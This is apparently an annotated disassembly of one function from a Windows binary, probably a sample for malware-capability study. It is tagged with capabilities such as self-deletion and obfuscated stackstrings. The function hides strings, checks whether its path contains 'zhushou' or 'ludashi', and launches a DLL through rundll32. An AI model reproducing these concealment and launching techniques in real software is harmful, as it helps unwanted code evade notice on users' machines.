Function at 0x1003e430
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Query or enumerate registry value
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f3553
mov eax, dword fs:[0]
push eax
sub esp, 0xe7c
mov eax, dword [0x10136674]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xe34], ecx
mov ecx, dword [0x10139b24]
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ecx, ecx
jne 0x1003e4cf
push 0x101352e8
call ebx
cmp dword [0x10139b24], 0
jne 0x1003e4ba
push 0x1c
call fcn.10035660
mov esi, eax
add esp, 4
mov dword [ebp - 0xe28], esi
test esi, esi
je 0x1003e4b2
lea ecx, [esi + 4]
mov dword [esi], vtable._BaseModule::CCriticalSection.0
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1003e4b4
xor esi, esi
mov dword [0x10139b24], esi
push 0x101352e8
call edi
mov ecx, dword [0x10139b24]
test ecx, ecx
jne 0x1003e4cf
xor eax, eax
jmp 0x1003e537
cmp dword [0x10139b20], 0
jne 0x1003e532
mov eax, dword [ecx]
push ecx
call dword [eax]
cmp dword [0x10139b20], 0
jne 0x1003e521
push 0x68
call fcn.10035660
add esp, 4
mov dword [ebp - 0xe28], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x1003e50c
mov ecx, eax
call fcn.1001c4a0
mov ecx, eax
jmp 0x1003e50e
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
xchg dword [ebp - 0xe2c], eax
mov dword [0x10139b20], ecx
mov eax, dword [0x10139b24]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov ecx, dword [0x10139b24]
mov eax, dword [0x10139b20]
cmp dword [eax + 0x50], 0
je 0x1003e5e8
push str.delay_active_by___delay_active
call fcn.100399a0
push 0x208
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.1007bae0
add esp, 0x10
mov dword [ebp - 0xe30], 1
lea eax, [ebp - 0xe2c]
mov dword [ebp - 0xe2c], 0x104
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0xe30]
push eax
push 0x100fe3bc
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathshalowp.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x1003e5e2
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1003e5e2
push 0x10107ca8
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x244]
push eax
push 0x100ff01c
push 0x101005a4
push str.three_end
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ecx, dword [0x10139b24]
test ecx, ecx
jne 0x1003e641
push 0x101352e8
call ebx
cmp dword [0x10139b24], 0
jne 0x1003e62c
push 0x1c
call fcn.10035660
mov esi, eax
add esp, 4
mov dword [ebp - 0xe28], esi
test esi, esi
je 0x1003e624
lea ecx, [esi + 4]
mov dword [esi], vtable._BaseModule::CCriticalSection.0
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1003e626
xor esi, esi
mov dword [0x10139b24], esi
push 0x101352e8
call edi
mov ecx, dword [0x10139b24]
test ecx, ecx
jne 0x1003e641
xor eax, eax
jmp 0x1003e6a9
cmp dword [0x10139b20], 0
jne 0x1003e6a4
mov eax, dword [ecx]
push ecx
call dword [eax]
cmp dword [0x10139b20], 0
jne 0x1003e693
push 0x68
call fcn.10035660
add esp, 4
mov dword [ebp - 0xe28], eax
mov dword [ebp - 4], 1
test eax, eax
je 0x1003e67e
mov ecx, eax
call fcn.1001c4a0
mov ecx, eax
jmp 0x1003e680
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
xchg dword [ebp - 0xe30], eax
mov dword [0x10139b20], ecx
mov eax, dword [0x10139b24]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov ecx, dword [0x10139b24]
mov eax, dword [0x10139b20]
cmp dword [eax + 0x40], 0
je 0x1003e708
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x6f006e
push eax
mov dword [ebp - 0x38], 0x6c0020
mov dword [ebp - 0x34], 0x730064
mov dword [ebp - 0x30], 0x650068
mov dword [ebp - 0x2c], 0x70006c
mov dword [ebp - 0x28], 0x720065
mov dword [ebp - 0x24], 0x2e
call fcn.100399a0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10069b58
mov esp, ebp
pop ebp
ret
test ecx, ecx
jne 0x1003e75d
push 0x101352e8
call ebx
cmp dword [0x10139b24], 0
jne 0x1003e74c
push 0x1c
call fcn.10035660
mov esi, eax
add esp, 4
mov dword [ebp - 0xe28], esi
test esi, esi
je 0x1003e744
lea ecx, [esi + 4]
mov dword [esi], vtable._BaseModule::CCriticalSection.0
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1003e746
xor esi, esi
mov dword [0x10139b24], esi
push 0x101352e8
call edi
mov ecx, dword [0x10139b24]
test ecx, ecx
je 0x1003e7c0
cmp dword [0x10139b20], 0
jne 0x1003e7ba
mov eax, dword [ecx]
push ecx
call dword [eax]
cmp dword [0x10139b20], 0
jne 0x1003e7af
push 0x68
call fcn.10035660
add esp, 4
mov dword [ebp - 0xe28], eax
mov dword [ebp - 4], 2
test eax, eax
je 0x1003e79a
mov ecx, eax
call fcn.1001c4a0
mov ecx, eax
jmp 0x1003e79c
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
xchg dword [ebp - 0xe30], eax
mov dword [0x10139b20], ecx
mov eax, dword [0x10139b24]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov ecx, dword [0x10139b20]
call fcn.1001cb90
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.10007db0
add esp, 4
lea esi, [eax + 0x10]
mov dword [ebp - 0xe2c], esi
mov edi, dword [esi - 0xc]
mov dword [ebp - 4], 3
test edi, edi
js 0x1003eae3
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x1003e811
push edi
lea ecx, [ebp - 0xe2c]
call fcn.100073f0
mov esi, dword [ebp - 0xe2c]
lea eax, [edi + 1]
push eax
push esi
call fcn.100a8e0f
add esp, 8
cmp edi, dword [esi - 8]
jg 0x1003eae3
mov dword [esi - 0xc], edi
xor eax, eax
mov word [esi + edi*2], ax
mov dword [ebp - 0x20], 0x75006c
mov dword [ebp - 0x1c], 0x610064
mov dword [ebp - 0x18], 0x680073
mov dword [ebp - 0x14], 0x69
cmp dword [esi - 0xc], eax
jl 0x1003e86c
push str.zhushou
push esi
call fcn.1007bf40
add esp, 8
test eax, eax
je 0x1003e86c
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x1003e899
cmp dword [esi - 0xc], 0
jl 0x1003e88c
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.1007bf40
add esp, 8
test eax, eax
je 0x1003e88c
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x1003e899
call fcn.100191f0
test eax, eax
jne 0x1003eaae
mov ecx, dword [0x10139b24]
test ecx, ecx
jne 0x1003e8fc
push 0x101352e8
call ebx
cmp dword [0x10139b24], 0
jne 0x1003e8e3
push 0x1c
call fcn.10035660
mov edi, eax
add esp, 4
mov dword [ebp - 0xe28], edi
test edi, edi
je 0x1003e8db
lea ecx, [edi + 4]
mov dword [edi], vtable._BaseModule::CCriticalSection.0
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1003e8dd
xor edi, edi
mov dword [0x10139b24], edi
push 0x101352e8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x10139b24]
test ecx, ecx
jne 0x1003e8fc
xor eax, eax
jmp 0x1003e958
mov eax, dword [0x10139b20]
test eax, eax
jne 0x1003e958
mov eax, dword [ecx]
push ecx
call dword [eax]
cmp dword [0x10139b20], 0
jne 0x1003e948
push 0x68
call fcn.10035660
add esp, 4
mov dword [ebp - 0xe28], eax
mov byte [ebp - 4], 4
test eax, eax
je 0x1003e936
mov ecx, eax
call fcn.1001c4a0
mov ecx, eax
jmp 0x1003e938
xor ecx, ecx
mov byte [ebp - 4], 3
xchg dword [ebp - 0xe28], eax
mov dword [0x10139b20], ecx
mov eax, dword [0x10139b24]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov eax, dword [0x10139b20]
cmp dword [eax + 0x44], 0
jne 0x1003ead6
push 0x208
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.1007bae0
push 0x208
lea eax, [ebp - 0x654]
push 0
push eax
call fcn.1007bae0
mov ecx, dword [ebp - 0xe34]
lea eax, [ebp - 0x244]
add esp, 0x18
push str.UtilsHaloHp.dll
push dword [ecx + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 0x104
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x208
lea eax, [ebp - 0x44c]
push 0
push eax
call fcn.1007bae0
add esp, 0xc
lea eax, [ebp - 0x44c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.rundll32.exe
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0x7d0
lea eax, [ebp - 0xe24]
push 0
push eax
call fcn.1007bae0
lea eax, [ebp - 0x244]
push eax
push str.C:WindowsSystem32Rundll32.exe___s__wWinMain
lea eax, [ebp - 0xe24]
push 0x3e8
push eax
call fcn.10009120
push 0x40
lea eax, [ebp - 0xe84]
mov dword [ebp - 0xe88], 0x44
push 0
push eax
call fcn.1007bae0
add esp, 0x28
lea eax, [ebp - 0xe44]
push eax
lea eax, [ebp - 0xe88]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xe24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebp - 0xe44]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1003ea82
push eax
call edi
mov eax, dword [ebp - 0xe40]
test eax, eax
je 0x1003ea8f
push eax
call edi
push str.Rundll_helper.
call fcn.100399a0
add esp, 4
call fcn.10037480
push 0
push str.UtilsHaloHp.exe
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1003e6ec
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1003e6ec
mov ecx, dword [ebp - 0xe34]
call fcn.1003dff0
jmp 0x1003eaae
push 0x80070057
call fcn.10005ea0
int3